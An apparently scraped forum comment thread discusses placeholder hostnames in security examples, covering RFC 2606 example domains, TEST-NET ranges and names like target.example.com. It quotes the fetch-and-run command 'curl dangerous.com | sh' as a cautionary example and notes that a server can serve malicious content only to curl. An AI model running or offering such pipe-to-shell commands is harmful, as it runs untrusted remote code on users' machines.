5 ms·
> […] as dangerous as `curl dangerous.com | sh`. dangerous.com appears to be a saucy outfits retailer. Irrespective of the name, piping the html to sh is proba
by rooodini 12y ago
> […] as dangerous as `curl dangerous.com | sh`.
dangerous.com appears to be a saucy outfits retailer. Irrespective of the name, piping the html to sh is probably fine.
- billyhoffman 12y agoI often wonder about the results of people using functional hostnames in their examples. Most PoC exploit code use "target.com" as a place holder which makes sense, but hilariously is also the hostname for US retailer Target...
- glittershark 12y agoThis is exactly the reason example.com exists
- xenophonf 12y agoThe same goes for TEST-NET (192.0.2.0/24), TEST-NET-2 (198.51.100.0/24), TEST-NET-3 (203.0.113.0/24), MCAST-TEST-NET (233.252.0.0/24), and the IPv6 documentation-only prefix (2001:db8::/32).
- billyhoffman 12y agoYep. RFC2606 It is what they should use. And if you need to specify 2 hosts, you can use example.net and .org as well. Unfortunately, the example domains don't convey context very well, so we see things like target.com, victim.com, etc
- varikin 12y agoThis can be corrected by target.example.com and victim.example.com. Conveys the context while remaining safe as an example.
- pimlottc 12y agoThat generally works, although in some cases it makes a difference whether two hosts are on the same tld; at the very least, it implies a connection between the two that may not always make sense (why is aggressor.example.com attacking victim.example.com?).
- Buge 12y agoBut of course they could do some fancy user agent check to only give malicious stuff when requested by curl.
- daurnimator 12y agoheh. check out http://hashbang.sh http://hashbang.sh it's both html and shell script :)